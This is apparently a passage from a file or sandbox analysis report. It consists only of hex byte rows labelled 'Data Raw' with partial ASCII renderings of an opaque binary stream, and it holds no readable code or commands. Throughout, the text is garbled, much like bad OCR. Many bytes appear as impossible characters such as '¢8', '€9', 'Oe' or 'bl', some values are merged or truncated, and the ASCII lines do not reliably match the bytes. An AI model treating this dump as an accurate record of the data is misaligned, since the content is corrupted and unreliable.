b8 f5 99 ¢8 60 82 ff 30 56 22 df 51 27 19 3a c6 cb 41 7f 2e c8 8e 96 b1 fd b4 11 21 b6 f3 da 87 dc f2 db a4 20 3a e8 6a b9
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Data Raw: d8 ac 55 ee b6 45 39 53 cd 6f f2 3c 14 42 83 ea ad 6b f2 02 8a b0 5b 02 d2 ac da 21 35 d7 cc b3 46 4a cl dc
ad da be 4e ee b9 52 b5 49 32 5d b8 e4 58 6a fb f5 d7 46 0d 20 11 a0 a3 99 4a 6¢ 2b 94 16 70 e0 a6 c8 72 f3 14 c1 a8 le
66 55 45 ad 93 9a 98 82 d1 8c 8d d6 46 bl 48 cd ac f4 ac 53 el 18 e9 9f 50 be 54 13 d6 16 7f d5 b7 18 d8 e8 d1 e7 €8 66
6e a7 a5 93 1b 7c ¢8 25 65 01 e3 1f 8d 75 d8 0a 50 Oe 32 c8 7f 73 95 8a af 89 b0 52 c2 9b e4 cf a5 99 1a 31 67 28 6d e4
9e ce aa 91 3e 63 47 9a Oe ea c6 df 9e cb 9b d6 4c e3 ef 1d 1c b8 49 c7 de b6 32 50 eb df df 1d 88 be f6 22 82 fe 44 16
76 b1 d5 09 1b 26 ce 53 60 77 39 c6 cb 78 69 45 05 89 be 98 d5 9f 19 09 ff db 20 8c d1 fd 9c ff 24 3a e4 2d b5 98 7a fe
981089 7d 19 b1 96 74 b9 1c e5 7f fb 64 d2 f7 da 25 3f
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eb 75 86 98 fb 32 6b 89 23 b1 12 7a ad d7 1a 56 68 b3 13 22 75 9a af Oc d9 24 4a 78 19 5c Ob 7f 3d e2 62 21 54 47 bd 10
€9 06 3c a6 54 la ac 01 44 3 65 36 8a 45 29 d7 ee 96 16 81 b8 3f 05 13 fe 55 51 4c c0 21 9e 37 d7 54 d0 4d 4d 30 6d 80
91 fb 88 81 53 86 05 20 32 63 84 dd 64 2e 6f b5 51 3d 1a e4 €5 03 ca d7 a8 95 4d f2 72 ec 23 e8 4e fe 11 fc 61 51 fe e5
05 8d 8a 1c ad 85 42 33 f3 ca 7a a8 cf e7 c8 61 4d 48 fd a3 eb 34 14 c1 de 47 6e 80 5f f3 c3 cb 31 10 87 34 91 f4 6b 5d
cc 70 e6 00 8d eb eb 0a 22 d8 c8 6¢ bl 27 5e eb aa 20 cf 46 08 00 a3 67 11 ad 07 c4 aa 73 3¢ 1a 33 7f f2 Oc 52 f8 d1 d5
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Data Ascii: _ma-0Y|5WKKZ"i@mJu2k#zVh"u$Ix\=b!TG<TDe6E)?UQL!7TMMOmS 2cd.oQ=Mr#NaQB3zaMH4Gn_
14K]p"I"* Fgs<3RhERN<C

Data Raw: 5f 70 el 18 c8 49 e4 48 f0 2b 7a bb 81 d1 d4 2d 2e 66 64 f6 ec f5 53 83 6e ¢7 8¢ 70 77 41 b6 30 14 4d cf e8
06 4d e5 d8 fb 00 fe 07 4d d5 89 43 91 36 8e cc b9 af Ob 57 f3 9a 2¢ 49 00 ca 33 a4 45 a0 6b 93 42 a2 e4 5f 25 c1 a6 07
e7 38 4e 3a 9f 7a 1a 57 ¢4 87 1c bl ac 55 df b8 81 77 1b ef 74 ea c¢6 77 58 77 db 68 c8 12 c2 68 91 8c be c2 e0 3a 54 8
e5 ba Oc ae 4b 42 f0 ca b9 f3 54 75 €9 d7 da af 50 €3 59 57 c6 78 3f db Oc de 64 2c 8e 3b a5 96 72 70 25 32 1f 1c c6 7d
d5 21 30 1e 7e f6 64 2b 39 5d bf 5d 06 22 9¢ 35 88 48 €9 7c 7b ea 60 19 d3 15 18 1d 66 bf 69 39 85 5¢ 45 a0 4c f1 24 72
e2d8 5c c3e8c3cdf843ec99 7a 7e df 12 a8 Oa 32 8f 8e f5 80 a7 d2 d1 c2 74 d6 a2 Oc 21 64 5e fe 10 f3 85 ed 6¢ 75 ef
e5dd d8 76 e3 1f b2 91 42 a2 62 d2 67 32 db 03 02 aa
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Data

Data Raw: 2a a7 8b bd 59 66 3b 31 2f 74 e0 al f3 4b e2 Oe dd a8 76 62 55 49 23 9e 87 a7 8a 81 88 8b f8 c6 a0 52 df ac
80 ac 53 el 92 db 85 49 9c 6d e0 d7 10 db ef ab 78 c4 c2 2b ec c2 67 12 9d b6 9a 02 06 0 34 71 20 c1 07 a0 86 cd 90
43 11 2a e5 51 7c fa b7 be 8d c9 45 da 8a e7 cd ad f1 3c 37 08 62 1b €8 94 al bf 80 32 78 24 bd be eb cc ca 87 f4 e8 c3
5b 35 ee 03 25 bc 5a d2 5a 12 06 86 fc f2 d5 4b 8¢ b8 e6 65 85 fc 44 16 48 93 ff 18 14 32 d7 46 07 58 2f c7 c1 63 bf 32
c8 88 bf ba e9 b4 1b 03 ca e0 cb 87 c0 f3 db 12 24 3a e4 2d c9 98 7a fe 98 b9 88 7d 19 b1 96 48 b2 fa e7 79 eb 5b 6f fO
da 2f 28 94 2e b4 be 3d 17 fb aa 9f 2a fe db 5d 19 e5 cf 66 74 26 6b cc 81 fO d1 9a b3 8b 71 42 94 56 ee 74 cb 24 64 bl
bd e8 ee 40 61 f9 Oe 45 65 ef 58 f4 0d €3 93 67 d1 d4 27 {7

Data Ascii: *Yf;1/tKvbUI#RSImx+g4q C*Q|E<7b2x$[5%ZZKeDH2FX/c2$:-z}Hy[o/(.=*]ft&kqBVi$d@aEeXg'

Data Raw: 28 ab 39 dd 2e 67 75 1d 65 2a 6f 15 c5 76 bb 31 69 b0 38 32 17 3b 84 ba 00 76 2f 05 b2 64 3c f2 45 2f b8 d8
84 0d 96 ce 57 10 12 f4 48 87 c3 d2 26 7 66 f9 56 d6 28 59 15 7f a9 97 21 9b c¢7 57 9f 02 31 3f 63 72 de 64 2e de af 74 15
3d cc c30b d9 d5 91 a2 22 e6 79 32 29 d1 cb 92 bb fa Oe 74 c6 3d f1 61 57 d3 99 85 50 6e db ca 7a a3 8c db db 6a 32 54
d0 a6 cc 4a 78 ea d4 34 35 91 56 e5 64 5f 38 01 8f 36 ba 6b c5 0d 5d 8f 19 f5 a2 4e e8 0a 65 83 e7 6e bl 2d 4d f4 c6 3f
de 5f df 11 a3 67 67 ¢3 37 c6 a5 79 19 37 2b 59 e3 3c 7b f2 a8 52 fc f9 d9 dd d2 ee b0 44 2a 4d b9 7f f3 3¢ Oe 50 a3 fb be
77 7e 53 97 b0 5a 15 el b8 dc 21 50 f9 a9 a2 84 52 4d 9c de cf bd 58 cc 97 78 4f 42 1e Oe a5 8e c1 7f fa f3 d6 46 bd 27
11 a0 e4 94 48 6¢ 2b af 12 65 c5 b1 f9 79 e2 14 cb

Data Ascii: (9.gue*ov1i82;v/d<E/WH&fV(Y!W1?crd.t="y2)t=aWPnzj2TJx45Vd_86k]Nen-M?_gg7y7+Y<{RD*M<Pw~SZ
IPRMXXOBF'HI+ey

Data Raw: 7a 0d d3 19 d3 3c a2 5a b7 63 e6 2f a9 1a 54 1a d8 be 01 25 1d 00 32 8c 7a Oc cb c5 9c e2 b1 94 4d da 94 76
70 1la e5 56 1lac3 6b 41 fd 8a 79 ce Oc db 84 81 b2 a0 47 a0 3f 66 38 d2 49 1f a8 41 7b 15 dd 47 f8 6f a0 7c eb dc af 40 f6
4b bf d4 59 2c e3 fd eb 8d 2b 8e 2c b0 83 9a 62 1d 44 32 10 dd 68 c0 31 30 09 73 20 Oc 03 3f 59 b5 d4 1b 31 9a 34 8a 6¢
e6 a0 6¢ d7 73 36 ca 3d 7c 15 c4 a4 53 4f bb 86 16 a0 46 d8 d1 61 c0 ca 65 2 c0 d2 c7 f3 56 47 9b 5e 6d ed 05 9d e0 27
ba 00 b0 93 a1 d3 d3 e0 7a f9 4a 1a 91 77 51 ec 3e 5e 6b 36 8b 4a 45 f5 f9 5 76 49 le b2 91 63 9b a8 c5 7 14 bf db 20
bc 24 7b b5 49 e2 4b 27 59 5¢ 5e 44 38 38 fd 78 65 f2 36 62 fa 7f aa b7 f9 27 6b 9e 1f af 8e 78 ab c4 1a f3 5¢ b2 13 29 76
14 93 2c 5 b8 4c 6d 05 52 29 6f 29 c0 1e bf 3b 7e
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b'kx\)v,LmR)o);~

Data Raw: c8 72 1d 8b bb fc 2d 12 f6 21 74 1b 9f 2a b4 97 df 65 9a 1c 3b ea 6¢ 6b 84 9¢ d3 b3 c2 69 c5 8a f2 b3 9e 9f Ob
3367 a2 6f e4 9e 8d al 84 2d 70 f6 8¢ le c2 e4 90 94 f3 f3 fa f3 3d 3 05 1c 56 5d cd d4 a5 2f 2e b0 {7 fd 13 54 a9 f9 27
ab ef 54 34 0f 86 ff 1e 71 62 de 57 09 31 2a d6 ae af 6e 2a c2 9e ad 8b e9 a7 Ob 7a c2 f2 da 8b c2 eb e5 a6 37 2c fd 4f e5
83 69 ee 8b 04 a0 87 18 a0 96 4f 95 09 3 6e 3b 5f f4 €6 cc 3e Oc b9 8f 5e 57 d4 17 d3 95 58 39 de c0 df 19 d2 52 c6 5a
72 85 27 69 a3 96 bf 9b a7 62 5a 8f 5d e5 10 42 37 7c¢ 93 2e c0 c0 4a 70 eb c6 d7 4f ce 4e c9 1b 79 fa 42 d1 d4 2f e4 66
64 03 fc e6 55 f6 a4 c7 8¢ 41 70 50 b0 26 ea 4c e3 el 2e b7 e4 d8 fd Ob e7 12 4b d5 98 d6 8b c8 8f 79 b2 be 0f 4b 9c 6b
2d 54 0ac6 2c ac 73 a5 7a 2d 5c ab 1a 8e 09 c9
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Data Raw: 6b a2 24 06 8a d8 Oc f9 00 31 3f 63 3a de 64 2e b9 92 Oc 11 37 e2 cd 75 dd df 86 93 ef f1 78 34 50 8e 47 91
b1 93 19 59 c4 37 f3 5a 0f c6 bb 92 61 3b ce ca 7c 81 41 8 d9 6¢ 4b 06 ff a3 e0 34 31 c3 de 47 ba b9 28 e0 15 de 10 7e
8a 25 9d 52 7e 61 49 88 6a 88 88 c1 el 65 1b ee c8 66 b9 0f 20 ef d7 26 e7 39 f3 00 a5 4f ed a8 07 c2 d6 04 3e 1la 24 10
8a 0f 50 f2 d9 fd 7d fd d8 aa 7d 91 b4 45 3f 7b 45 6a f2 3a 77 34 81 ea b2 04 8a 00 97 ba 53 2b 4a 98 de 27 72 51 c8 b3
85 62 63 ce de c9 cf 39 e6 b3 70 20 30 30 5b be 81 a6 04 82 f1 dc 64 3a fe 02 b4 98 bf 72 4b 20 bc 37 0a 9a a2 e0 5b fb
05 cf ef 5e 64 55 45 fa f3 9f b0 a8 ba b9 89 fe 6e a2 4f d6 83 f8 8a 2d a3 30 ca 95 58 a5 3f 8b ac 14 79 f4 ca 17 cf ea db
82 f7 63 01 90 b4 94 00 14 db 22 5d €9 f0 16 b5 81 54
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Data Raw: 4e ed fa b1 15 80 db 57 6 db 6f 27 78 76 fb cf c3 b5 69 31 45 a9 cd 7c ab f4 ee c5 5f ff 8e 2a a9 80 84 59 30
37 09 1b e4 44 d2 21 21 1f 4f 33 65 07 35 72 ab 5f 11 ec 87 34 99 4e O f1 ad c7 7d 18 c8 39 6d 1b 4e f9 75 58 ab 65 96
al 46 df 5e 77 e4 df a9 e0 e9 c3 c7 e5 4d el e5 ae 7f ce 12 a9 2e 20 ac 9e e7 ab 6e d2 c0 c4 7a d9 4d 08 1b 09 a6 fa 28
c4 69 14 82 59 c8 el ca bd 8d d4 1e b4 88 42 82 a4 el 65 38 b2 db 05 82 98 53 a4 43 ca 78 34 57 47 43 d5 a8 14 f6 78
41 c2 3e 4e eb 79 82 2e ee 35 7¢ 99 23 fc 16 7a ad d1 00 6f 5¢c 9a 87 2c 62 06 af a8 d9 24 4a 7b 27 0f 38 7e 3b fb 7f aa
3050 c3 12 cf 1d 28 85 7d 15 84 92 2f b0 62 1e 4c 55 2e be c1 9e 07 80 ff ae 00 13 f2 6a 3¢ 4a d1 20 e7 21 ad 54 d6 24
59 39 le bl 87 05 8c cd 75 9f 08 19 a4 08 42 da Ob 67 b0

Data Ascii: NWo'xvilE|_*Y07D!!03e5r_4N}9mNuXeF wM. nzM(iYBe8SCx4WGCxA>Ny.5|#z0\,b$I{'8~;0P(}/bLU.j<J
IT$Y9uBg

Data Raw: d7 4c e9 d5 80 30 a8 4d ef f7 a5 34 4b e6 84 e8 1b 88 b2 ea 15 92 73 6b 1c 60 83 ec 17 0f 2e c9 48 3a ab 2a
€9 d6 49 8f 2a c8 88 22 83 f2 ac 3b 8¢ f9 f3 da 11 cO f4 ea aa 14 a6 ff 4d ee b9 fO f8 a0 03 14 6¢ 16 bb 8f 31 06 09 ea 65
cd dd e2 f7 da b3 38 88 25 85 0b 2b 06 f3 1e 9f 25 e0 f1 69 08 3 dc ed 74 3e 60 d1 89 22 1f 8b bc 95 68 7a 77 4e f8 63
ch 24 73 86 2e 7 d9 d6 61 ee 07 d9 69 71 49 e3 1b e5 aa 79 ce d9 0d 35 66 64 €7 66 {7 5a a4 aa e7 43 70 77 50 2c 39
e553 ec fe 18 2b f5 d7 e2 1b f8 65 d7 c4 97 5a 9d e8 51 e0 b5 be 93 4f 93 74 3f 56 74 5a 3c b8 5¢ b3 65 ce c1 ba 15 41
1d d6 cd 8c 20 3a 4e 25 93 44 86 57 cd 83 f4 90 55 59 ce bc 72 61 15 f0 69 d9 38 6b 4b 71 47 68 c1 12 dO b6 4b a0 b7 cb
6d 2e 69 26 e3 ae 7b 34 5a 5¢c €9 c7 67 54 78 76 f1 58 cd

Data Ascii: LOM4Ksk™.H:*I*";MI1e8%+%it>""hzwNc$s.aiqly5fdfZCpwP,9S+eZQOt?ViZ<\eA :N%DWUYrai8kKqGhKm.i&
{42\gTxvX

Data Raw: 42 df 70 fd a9 c2 cf 48 c1 d8 5e b6 80 52 f3 98 82 38 01 8f 36 97 6b d0 74 56 84 84 ee 86 ae d3 Ob 63 e6 c5 65
a2 29 48 f8 da 18 02 46 f7 00 b2 69 7c al 9d d7 a0 62 39 75 29 7e f2 07 47 c¢8 d4 08 4d f9 d8 ac 44 eb 98 e2 3d 53 c1 46
ch 3d 04 49 95 70 ab 6d €3 07 86 b6 73 f9 c8 9c d8 4e 10 d5 cc b9 ab ed c5 cd d8 e7 46 4f e4 b5 15 05 48 32 51 a7 9e bf
6d ec 7e 86 6e 2d 25 02 aa 9a b7 5¢ 73 61 21 26 78 8f 98 el 51 f9 03 51 93 23 77 5¢ 67 29 8b 9d b6 8a ec 8d 8b f4 72 2b
5b cd 95 dc 80 fb €3 30 cc b7 69 b5 3b ee c0 8c 6a f9 c2 50 cc ea d7 fe ca 70 09 8b al fc 50 12 f6 21 74 03 el 1c da aa
d8 0a 56 0d 33 f1 47 1e aa 81 bc 8b d2 61 eb 32 e6 dc a6 f1 48 34 08 6e 69 5 9c ce 62 92 3e 63 f6 9a 29 c2 el cc 94 f9
eadc 64 cd fd 17 3e 76 4b d6 d9 b2 e2 52 e0 e6 f0 08
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Data Raw: 35 93 46 8 92 f7 €9 7d 1e da 2e 79 Oe 63 a3 67 c4 bc 0f 50 b6 da c8 76 68 f4 4e 65 e5 f1 d5 5b e2 59 ff 9¢c e0
6f cb Of a8 68 22 a6 91 f4 0f b0 d7 dd d2 f7 cc 59 13 1b fa 64 fe 37 cb 6¢ 8e 82 58 c6 ee cb 4e 4f d0 01 b9 8d d9 9b 89 cc
6b 2e 28 db 06 b5 b3 45 38 58 €7 5e 3a 41 d1 6b 59 b7 1b e0 f5 57 ef ¢3 9c ea 7f a0 b5 85 ec 7b 8f 01 85 00 78 25 75 63
ad 5a b2 19 25 4a 51 87 3b d7 2d 23 a4 Oe 74 32 74 e3 cd 51 93 16 78 bc 1a dc 13 2a 8a 03 1a ae 07 21 c3 61 34 8¢ 5e
54 b0 fe 91 le e8 8a 38 04 19 28 6a 55 4f d1 20 db Of fc 55 ca 22 4a 31 6d 9c 86 a2 37 de 6a 93 02 31 34 Oe 42 ca 64 98
63 ba 7e 15 37 e4 e5 1a e9 db 80 89 4e 2 78 ee 23 f9 54 87 a8 f1 59 78 c¢7 3d fb 72 64 cf a4 84 b7 47 e6 cd 63 ba e6 f4
c8 79 35 71 ec ae f5 40 b7 c0 f2 47 a3 96 4c f5 13 7a
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Data Raw: 2f 3b ee 58 e7 91 7ae9 a8 18 76 7c 35 aa 93 33 9d 19 e5 73 el 50 f1 ff da 3e 21 98 28 5b a9 07 14 fa 93 8a
3bfb cOf9 d2 db a9 73 65 3b e2 c7 87 6e 8b 9a a2 82 7d 55 7b 4f d4 65 7c 2b 63 89 36 €0 ee 5b 78 ff €6 d4 65 ed 71 ce
e4 86 44 69 d8 c7 25 e4 77 6¢ f8 eb 18 54 97 ae d6 88 67 al 43 b4 37 8 5f eb el 3f bf fb d3 03 0a cb 19 5a d3 89 40 b3
5171 1f 4a al 03 4d 94 6b 3c 41 1c 38 2¢ 9b 40 b7 69 9d 5d ba 12 41 1a 37 ae 3c 33 le 54 08 fd 82 e5 b9 cb ef 8f b2 80
53 e4 a2 ec 63 2a e8 7e ef cO 6b 4b af db 79 df 1b db 9c a8 a6 b4 cb f1 3f 77 33 e5 a9 el a9 67 48 f0 0d e2 f2 78 77 d9 dO
dc af 4b cd 50 a8 c7 5e 12 el ee ¢3 7d 39 8b 35 ba 9f 86 71 18 3d 1e ef dc 42 d0 39 32 12 67 19 6f 18 35 al ad 75 15 09
54 37 99 4e €8 89 69 cc 7d 0f d1 22 65 el 67 99 78 60

Data Ascii: /;Xzv|53sP>!([;se;n}U{Oe|+c6[xeqDi%wITgC7_?Z@QqIMk<A8,@i]A7<3TSc*~kKy?w3gHxwKP~}9509=B92g
05uT7Ni}"egx”

Data Raw: el 59 e2 61 ae f6 20 ca 21 df 57 10 29 28 cc c1 78 65 35 c5 76 bf be f4 8¢ d9 09 f9 {3 c5 83 c2 f1 f3 a4 2e 20
10 43 d8 8f 73 f0 88 12 88 7d 13 cf a0 5e 9a 12 cd 68 ed 4c e8 e4 de 34 3a 8d 38 b4 a2 34 1a 0d 83 a2 Ob ef d6 eb 20 49
d8 71 63 27 f2 df 96 7d 82 8e a7 9e 4a c2 85 4e f2 4b 46 35 7c 93 36 ed f1 57 63 eb 18 c4 43 fb 58 1d 1a 55 bd 5d ba cb
3f {7 6¢ 64 f6 fO fe ab ba 88 de 8e a0 51 50 b0 2a c2 58 e3 el 24 9f f1 d9 fd 01 cf 05 4b d5 92 49 95 db 85 €0 a4 b4 10 52
62 6a 01 5b 1b c3 05 7b 43 a0 70 19 Of ab 1a 5f 1a cc b0 1d 22 3f 51 21 86 61 e4 47 ee 94 da 5f 7e a6 31 a2 fd 7a 1a fe
74 ef 3d 6a 67 72 cc 6a c4 0d d9 9c 8f bf 49 ca dd 3d 4d 3c c2 44 e3 57 b4 42 {3 f7 59 f0 63 46 fb c4 94 ae 41 e5 9a a9 c7
45 25 e0 63 ec 77 2a 8f 39 a5 9d 8a 67 1f ab 18

Data Ascii: Ya !W)(xe5v. Cs}*hL4:84 1qc’}INKF5|6WcCXU]?IdQP*X$KIRbj[{Cp_"?Q!aG_~1zt=jgrjl=M<DWBYcFAE
%cw*9g

Data Raw: 65 d3 71 43 8e 08 f5 95 d4 15 0b 4f e0 d9 6a a0 20 dO 5c e5 63 d0 50 e4 Oa a3 76 67 b3 Oa 3a a4 5f 3b Oc 3d
77 ed 03 43 f2 d1 c4 6 e6 cc 52 54 c2 ba 54 3f 44 11 7d f4 23 11 50 89 ea a9 61 ed 10 69 b1 77 09 d8 94 c9 {7 49 dd d3
a0 90 40 c1 dc d4 d0 b6 b0 e5 9f 70 5e 4f 23 5d 2e 9a bl 60 e8 f9 dc 7f 27 3f ef a7 a7 bd 5b 69 2d a0 24 7e e0 bl ea 4d
0d 15 e7 89 56 31 55 4f 8b 85 80 a3 a8 d5 9d 81 e7 9a b0 64 dc 95 dO be 7b af 33 ca 99 78 9a 3a e4 dd 3e c5 fa bl 6d e5
€9 d1 ed c8 c3 1b 89 ad 93 00 19 9 37 9b Oa dc 01 a4 93 f1 b4 54 1c 3d c8 63 71 95 8a 94 b6 c3 69 c9 b7 67 ¢3 bl 8d
01 3519 62 70 ef 6a a0 88 9¢ 37 41 11 95 Oc e0 f5 96 6b Oc 06 ¢8 40 f0 f7 17 25 a2 5d 39 d5 89 37 56 fe fd fd 08 82 a7 f6
f4 b3 d2 46 37 65 ba ce e6 el de d9 38 51 37 3b cc eb 77
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Data Raw: de 73 70 e3 c1 7c f1 e0 d5 d6 f5 44 3d 06 2d 7e ce 15 1c e5 3b b4 95 6e c2 al d2 c1 66 7a d5 48 19 19 4e ed
fb 28 ¢8 52 03 93 5d d3 7 d9 d5 4a fd 91 b6 9b 43 92 01 d4 67 38 b5 d9 Ob bb b6 45 bf 58 e4 97 b8 06 4d 7a 5d Oa 05 fe
7e 5a fb aa 9c fO 6e ac 6b 30 b9 2b 8f Ob 86 b4 6b a3 d6 18 6a 73 2a 13 28 68 28 96 3b dd 2e 5f 6a 1e 70 10 d9 3d €8 7e
a4 2b 50 2d 12 cf 1d 2a 88 b6 09 76 18 04 al 63 le 2b 54 2e b2 cd 87 3e 16 d5 38 Oe c5 eb 7b f2 94 ¢2 23 f9 18 d3 7c a3
20 4a 3b el d0 86 05 8b f6 8¢ 8e 02 3b 39 1d 44 cb b2 37 b7 ab 72 04 3e da db f6 26 20 88 93 ea f2 78 38 29 27 57 b9 96
fc 6151 ecc7 fa72 73 c8 93 ba 49 46 c0 14 7a af c9 eb d9 2b 24 71 fd a3 ea 5b 49 c1 de 4d b2 eb 57 e4 15 a2 39 01 8e
37 9b 7a dc 7f 49 8e 18 e4 ba c6 eb Oc 62 ec c8 8b bl 27
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Data Raw: 7e e6 dd 30 26 98 44 39 b9 2c 19 e3 94 12 3b f9 ce ee 1e 6f cd 76 7a 23 69 44 87 7a 9c 89 a5 16 73 5d 9a 5a
ee ff 46 32 63 8¢ 33 74 ff 4d 6f 7 38 2a 49 e4 49 7f Oa 7e a4 61 c7 48 3c €3 79 7c f1 66 f7 52 a4 bd e7 Oc 70 77 50 2¢ 39
ed 539 f7 b2 a6 e3 c7 e6 1d 7b 05 4c ca 84 53 10 d9 88 ff a8 9e 8f 5e 9c 6b b1 58 0d d9 33 97 c3 a0 7a 95 c1 ba 1d 41
16 df 33 01 36 2a 71 10 73 7c 1a 46 5e 8d e5 af al 4f 52 ad e9 6f 38 f9 e2 e8 c4 74 68 67 47 68 c9 12 ec b6 10 a0 b7 cb
6d 2e 61 26 df a7 83 b9 4c 4c dO fd c¢7 f2 78 76 6d d5 db b0 66 f3 d9 b8 c0 4b 12 dO 6e c3 77 2a 12 3b a4 93 a5 51 89 37
09 11 41 7f d4 3e Ob Oe fb 19 62 18 14 49 30 48 1b 2e b6 23 05 5f f0 9d 57 6 fd 1e db 3d e0 Oe 61 aa 5f 78 52 0a 47 a0
da c8 74 6f cd c4 e8 f1 ef dc f7 d3 dc e5 8a 7c e2 df
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Data Raw: 2c d2 81 ea b2 78 5 00 80 83 4d 17 c5 8d d4 2d 4e c6 c6 9b 46 4e c1 cb c1 df 94 df e6 b3 70 5¢ 4f 31 34 b3 96
ae 61 97 dO dc 6e 2d 24 11 a6 8b fb 11 44 b3 be 37 7e c8 96 €0 51 9 a3 d8 89 33 75 5d 5e 88 98 47 a7 74 58 dd 8b fe 65
bc 5e d6 8d c2 72 40 {7 23 c1 b4 70 bd 2a ef d4 07 71 6 de 63 cc ea db f2 d2 49 90 98 a7 99 8f 02 fe 3f b3 18 f8 07 be

80 Of 19 5b 0d 30 f1 50 40 4f 89 32 3a d4 b3 d4 4d 6f 8d a0 9e 0a 26 Oc 79 6b f2 9d b7 30 82 39 08 b6 9c 1b fb c8 db 9d
7d 4e c0 96 cb Ob 17 34 a2 60 f3 dc 2b 83 59 35 €0 27 Oe 5e 35 b1 Oa b2 ff 57 10 68 94 ee 14 08 29 51 €0 27 c1 3b c6 cb
61 79 3b ¢4 80 30 25 5 3a ac 21 0f f3 da 87 c5 {7 e2 b9 28 2e fd 4e fd 17 cd f0 2 b4 b8 b9 10 2e 27 4b 40 Of 33 4 bc 4c
2 16 c9 2a 3e 8e b6 12 bf f1 15 e2 91 83 01 €6 cO
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Data Raw: 31 85 dc 1d b9 ba 53 b5 4d f5 bf 35 7b 4e 62 4f ac 14 e7 6d 5d 14 ad 66 5 78 a8 b5 f2 5a 72 8e Ob 8d 09 6a
83 1f 0d 7e 51 9a 45 2a 62 Oa e8 8d dc 24 46 4b 13 67 3c 7e 2c ec 62 45 3a 54 bf 07 dc 13 3b 9f 68 00 52 06 07 b2 4f 33
b4 0f d1 47 2d 90 79 e4 d7 38 Oe 39 ef 72 aa 4e 4c 26 f1 09 27 54 d6 33 62 07 6¢ 8a 8¢ 07 a2 64 7e 8e 04 5e 67 Oc 42 d6
6f 23 3f 0d 63 cf 20 32 68 26 d9 df 81 b7 4e e4 56 3a 03 ce 60 91 bb 6 4a 5d e4 a7 d1 72 75 c8 ad 93 c7 f1 dd 10 69 ac
f0 ef f2 53 30 60 f9 a4 fb 5f d8 ¢7 c0 2e d3 b9 c5 e5 15 d2 2e 90 12 22 8a 7e 4d 64 9f ae 58 7e 8a c1 33 2a 12 dd c8 6¢ 67
2d 58 ¢3 44 21 cf 4c el 28 37 65 6d a6 0d d5 al 64 ea 09 2a 6e f6 1c 55 c9 10 Ob ee d1 f5 ac 55 e4 98 bf 38 53 c1 63 da
12 04 43 89 34 b4 43 c4 03 97 ba 53 6¢ 00 9d de 2b 70
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XD!L(7emd*nUU8BScCA4CSI+p

Data Raw: 76 db 08 2a ce 66 64 e7 fb a6 55 bb a6 ¢7 0a 70 7d cO b0 24 ea 4c e3 el 2c b7 99 d8 dc 95 e7 18 4b d5 98 45
8e cB8 a8 e0 30 12 0f 52 9c 6b 2d 49 Oa c6 29 b7 5 1a 7a 9a 40 ab 1a 5f Ob c9 ab 10 4 fc 51 3a 8c 7¢ 1a 46 d1 ac e6 b0
06 59 ce bc 1a 70 1a fe 68 f4 fb 10 4b 71 db 79 ¢7 16 36 97 bc 85 bl dd d9 f8 67 39 f0 a6 c5 bf 9d de d9 dd 47 {3 73 74 f6
d2 db 21 f6 8a 78 a8 c7 5e 3d 7e 59 ed 22 3e a4 36 ae 8c 85 68 {7 36 25 03 df 68 c5 27 af af 08 35 64 07 35 59 22 ee 32
580 38 99 47 €0 7c 7b ea 7f 06 d6 3d 75 07 98 b4 5d 51 b7 87 68 a0 46 d8 79 69 ef d2 7d fa 16 c2 eb 7 48 cf 91 71 7e
€7 02 40 f5 1f a1 9a ef 93 a8 ce 3e ¢5 47 df 77 0f 26 €5 72 d1 28 c2 69 22 90 5d e2 e0 dd d2 bb d5 1e a3 bb d5 8a 8c d3
ea 17 b4 ca 02 a0 b8 45 bb 54 7e 47 23 77 el 7a 5¢c a8

Data Ascii: v*fdUp}$L,KEORK-1)z@_Q:|FYphKqy6g9Gst!x =~Y">6h6%h'5d5Y"28G|{=u]QhFyi}Hq~@>Gw&r(i"|ET~G#wz\

Data Raw: e0 4e 9a 88 cd 00 18 67 55 4b ab 91 8e 80 a5 d5 6f 8a fe 64 44 48 c7 95 c3 bb 58 df e4 cb 9f 50 b4 2a ef ¢8 07
87 ff 9d 61 dc e2 c0 e7 f3 5a 1e 88 b4 98 11 02 fd 38 6b 5 f1 3a a5 86 de 22 9e 18 3b e6 2f 32 94 80 ba 92 cc 7a c8 9b f3
d7 bf 91 f5 34 24 64 66 f5 93 ce 62 92 3e 63 37 85 1f el cc dd 9f ec f2 29 4d cf e2 06 33 ae 5a cf 4e 8d fe 45 ed f1 d5 d2
8c b8 e6 1c 9a 8544 1c 66 ed c2 19 1e 27 c0 5b 1c 3¢ 3b d7 ca 72 91 2b e4 9a b6 ba 35 b0 1b 0f d1 ca db 8d db ec 69
a6 21 26 fd 49 f4 88 71 e7 aa fd 89 51 10 98 e8 a3 65 e7 fa 72 fe 47 e2 e6 d1 35 d7 86 14 af db 10 07 f3 84 9d 2d e5 c2 f4
08 e2 d7 6d 9b 30 53 c9 87 78 ab 53 b7 8a 64 72 bc 4f 8 69 44 33 61 8a 2e e8 ff 41 6e 1f 19 f9 73 f6 40 f2 1d 51 7c 77 d1
d2 3c ed 12 43 e7 fa fd 5f af 8c 96 8e 70 71
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Data Raw: e3 7d 93 ee 7c bc 16 a0 4c 3b 8e 66 19 bd Ob 44 00 65 36 86 7c f8 bc d2 91 00 af e7 38 04 19 e2 71 a4 47 f9
f1 f5 09 dO 3b 8d 22 4a 3b 6a 9b 8a 6a 3a df 7f 84 2a €9 31 Oc 44 ca 4c 14 bl ba 7e 03 04 ef ec 21 00 db 80 bd 22 a9 78
3229 fe 54 9d d4 4c 60 5b ce 15 21 76 75 c4 ad bc 79 46 ca c0 6¢ 9a e8 e2 f1 b1 3c 71 fb cc bl 5b 49 cb f6 91 b6 91 50
€304 d4 57 b1 8f 25 91 15 b9 60 49 84 Oc cc 84 c8 ec 1b 6f 83 78 6d b1 2d 31 b0 d7 20 c¢5 57 fb 17 75 74 61 bd Ob d5 b6
4d 34 e5 d1 80 fb 1e 54 ee dd c4 f8 d1 11 ad 55 €8 90 ba 39 53 c7 5d fa 2d 00 6b 4a eb b8 6d fe 13 93 al 5f 15 a6 2c df
2150 ba 6a b1 83 40 e7 dc da de b8 58 8b 03 7b 4f 42 5d fd b6 97 a4 4d ea f7 cd 6a 3b 4b al a7 8b b1 25 ca 23 bc 3d 52
f1 a4 f1 55 e5 7b 7b 81 25 6¢ 3a €9 83 8f 97 96 b3 d1 a4

Data Ascii: }|L;fDe6|8qG;"J;jj:*1DL~!"x2) TL ['vuyFI<g[IPW%'loxm-1 WutaM4TU9S]-kJm_,!Pj@X{OB]Mj;K%#=RU{{%!:

